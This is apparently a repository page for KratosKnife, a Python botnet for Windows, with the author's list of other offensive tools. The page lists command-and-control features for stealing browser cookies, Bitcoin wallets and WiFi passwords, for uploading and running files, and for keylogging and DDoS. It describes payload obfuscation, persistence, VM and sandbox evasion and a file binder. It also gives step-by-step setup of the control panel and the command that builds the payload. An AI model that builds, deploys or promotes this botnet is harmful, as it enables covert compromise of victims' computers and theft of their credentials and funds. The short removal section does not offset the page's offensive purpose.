• Stars
    star
    335
  • Rank 122,004 (Top 3 %)
  • Language
    Python
  • License
    BSD 3-Clause "New...
  • Created about 4 years ago
  • Updated 11 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

KratosKnife is a Advanced BOTNET Written in python 3 for Windows OS. Comes With Lot of Advanced Features such as Persistence & VM Detection Methods, Built-in Binder, etc

KratosKnife Logo

KratosKnife

KratosKnife is a Advanced BOTNET Written in python 3 for Windows OS. Comes With Lot of Advanced Features such as Persistence & VM Detection Methods, Built-in Binder, etc

Disclaimer

💻 This project was created only for good purposes and personal use.

THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM.

Note: Some Features are under development

Commands Available In Attacker/Admin Panel

Clients Command Location Stealer
1. Ping 1. Get Location Information 1. Steal Firefox Cookie
2. Upload & Execute File 2. Show Location On Map 2. Steal Chrome Cookie
3. Show MessageBox Computer Commands 3. Steal Bitcoin Wallet
4. Take Screenshot 1. Shutdown 4. Steal WiFI Saved Password
5. Installed Software 2. Restart Keylogger
6. Execute Scripts 3. Logoff 1. Start Keylogger [Under Development]
7. Elevate User Status Open Webpage 2. Stop Keylogger [Under Development]
8. Clear TEMP Folder 1. Open Webpage (Visible) 3. Retrive Logs [Under Development]
Clients Commands DDOS Attack
1. Close Connection Start DDOS [Under Development]
2. Move Client [Under Development] Stop DDOS [Under Development]
3. Blacklist IP [Under Development]
4. Update Client [Under Development]
5. Restart Client [Under Development]
6. Uninstall [Under Development]

Generator Features

  • Encrypt Source Code Using AES 256 Bit Encryption
  • Encrypt Source Code Using Base64 Encoding
  • Packing Evil Exe Using UPX Packer
  • Interactive Mode [Generator Ask Required Parameter]
  • Debug Mode [Can Be Used In Debugging Payload]
  • Persistence Payload
  • 3 Powerfull Methods to Detect/Bypass VM (such as VirtualBox, VMware, Sandboxie)
  • Built-in File Binder
  • Useful Icons Inside icon Folder
Virtual Machine Bypass Methods Includes
Registry Check
Processes and Files Check
MAC Adderess Check

Screenshots

Login Page

Dashboard (Attacker Control Panel)

Show Victim Location On Map [NOTE: Location is IP Based, Not GPS]

Prerequisite

  • Python 3.X
  • Few External Modules

Server Setup

  1. Upload & Unzip panel.zip on your hosting available in this repo
  2. Create a database with any name you want
  3. Change the data in classes/Database.php
  4. Change files and folders permission to 777 [Uploads Folder, Scripts Folder]
  5. Go to install.php to create the botnet tables automatically
  • [For Testing Locally]
  1. Install XAMPP, & Put panel files inside htdocs folder and Run Apache & MySQL Service In XAMPP Controller
  2. Create a database with any name you want
  3. Change the data in classes/Database.php
  4. Go to install.php to create the botnet tables automatically

Usage

# Install dependencies 
$ Install latest python 3.x

# Clone this repository
$ git clone https://github.com/PushpenderIndia/KratosKnife.git

# Go into the repository
$ cd KratosKnife/Botnet-Generator

# Installing dependencies
$ python -m pip install -r requirements.txt

# Update pyinstaller.exe path, in Generator.py (line 9) 

# Getting Help Menu
$ python Generator.py --help

# Making Payload/BOTNET
$ python Generator.py -s localhost/panel -o output_file_name --icon icon/exe.ico

Available Arguments

  • Optional Arguments
Short Hand Full Hand Description
-h --help show this help message and exit
--interactive Takes Input by asking Questions
--icon ICON Specify Icon Path, Icon of Evil File [Note : Must Be .ico]
-i INTERVAL --interval INTERVAL Time between reports in seconds. default=12. [Under Development]
-t TIME_PERSISTENT --persistence TIME_PERSISTENT Becoming Persistence After __ seconds. default=10
-b file.txt --bind LEGITIMATE_FILE_PATH.pdf Built-In Binder : Specify Path of Legitimate file. [Under Development]
  • Required Arguments
Short Hand Full Hand Description
-s SERVER --server SERVER Command & Control Server for Botnet.
-o OUT --output OUTPUT Output file name.

Removing BOTNET

Method 1:

  • Go to start, type regedit and run the first program, this will open the registry editor.
  • Navigate to the following path Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run There should be an entry called "WindowsUpdate", right click this entry and select Delete.
  • Go to your user path > AppData > Roaming, you’ll see a file named “svchost.exe”, this is the RAT, right click > Delete.
  • Restart the System.

Method 2:

  • Run "RemoveBOTNET.bat" in Infected System.
  • Restart Infected PC to stop the current Running Evil File.
  • Run "RemoveBOTNET.bat" again.

TODO

  • Add New features
  • Add GUI BOTNET Generator

More Features Coming Soon...

More Repositories

1

thorse

THorse is a RAT (Remote Administrator Trojan) Generator for Windows/Linux systems written in Python 3.
Python
547
star
2

Sinister

Sinister is Windows/Linux Keylogger Generator which sends key-logs via email with other juicy target info
Python
418
star
3

crypter

Crypter in Python 3 with advanced functionality, Bypass VM, Encrypt Source with AES & Base64 Encoding | Evil Code is executed by bruteforcing the decryption key, and then executing the decrypted evil code
Python
315
star
4

apkinfector

Advanced Android AV Evasion Tool Written In Python 3 that can Embed/Bind meterpreter APK to any Legitimate APK
Python
265
star
5

nekros

NekRos is an Open-Source Ransomeware, with advanced Features, Which Looks Like Wannacry and Has C&C Server which can be Used to Retrive KEY
Python
115
star
6

subdover

Subdover is a MultiThreaded Subdomain Takeover Vulnerability Scanner Written In Python3
Python
97
star
7

fakemailer

Fake Mailer is a PHP Email Spoofer which is capable of sending spoofed or tampered emails to the target. No Need to Sign up, Send Email Anonymously, Demo Site is available for test!
HTML
69
star
8

oscp-notes

OSCP Notes written from PWK Course
44
star
9

aapfinder

AAP Finder (Advanced Admin Page Finder) is a tool written in Python3 with advanced functionalities
Python
44
star
10

Log4jScanner

Log4jScanner is a Log4j Related CVEs Scanner, Designed to Help Penetration Testers to Perform Black Box Testing on given subdomains.
Python
41
star
11

ORhunter

ORhunter is an Open Redirect Vulnerability Scanner which Passively Crawls URLs from 3 Sources & Then Filter Potential URLs based on Parameter Values, then finally hunt them for Unvalidated Open Redirect
Python
40
star
12

brute-md5

Advanced, Light Weight & Extremely Fast MD5 Cracker/Decoder/Decryptor written in Python 3
Python
26
star
13

creds_harvester

Password Recovery Toolkit For Windows Written in Python 3
Python
25
star
14

ragno

Ragno is a Passive URL Crawler | Written in Python3 | Fetches URLs from the Wayback Machine, AlienVault's Open Threat Exchange & Common Crawl
Python
24
star
15

Java-Cheat-Sheet

Java Cheat Sheet : Comprehensive Java Programming Guide With Mini Projects | Best for people, who are coming from other programming language or Just want a quick Refresh
21
star
16

netscan

NetScan is a Network Reconnaissance Tool for Windows/Linux/OSx etc Written in Python 3.
Python
21
star
17

SQLiWeb

Lab Website For Practicing Different Types of SQL Injection Vulnerabilities
PHP
19
star
18

CVE-2020-5902-Scanner

Automated F5 Big IP Remote Code Execution (CVE-2020-5902) Scanner Written In Python 3
Python
15
star
19

TerminalChat

TerminalChat is a console based instant messaging application made for hackers written in python3 & php. Gives all Basic Messaging Functionality
PHP
15
star
20

FileUploadWeb

Collection of Vulnerable Websites containing File Upload Vulnerability for practicing skill
HTML
13
star
21

PythonWindowsService

Basic Script which you can use to create a Windows service In Python
12
star
22

EARScanner

Execution After Redirect (EAR) / Long Response Redirection Vulnerability Scanner written in python3, It Fuzzes All URLs of target website & then scan them for EAR
Python
11
star
23

PushpenderIndia

My GitHub Profile-README
6
star
24

Free_YouTube_Stats_Badge

This project will help you to create Live img.shields.io Badges which will Count YouTube Stats (Subscriber, Views, Videos) without YouTube API
Go
5
star
25

intelliHire

WarSpeed Hackathon By Lightspeed organised at 13 May 2023
HTML
3
star
26

Crunchy

Script to Generate Custom WiFi Passwords as per Target for Highest Cracking Possiblity
Shell
2
star
27

StoryScape

StoryScape is a GenAI Interactive Story teller made for Intel GenAI hackathon IIT Delhi
Jupyter Notebook
1
star
28

EasyFlaskRecaptcha

FlaskRecaptcha is a python Module which makes Google Recaptcha Integration in flask application easy
Python
1
star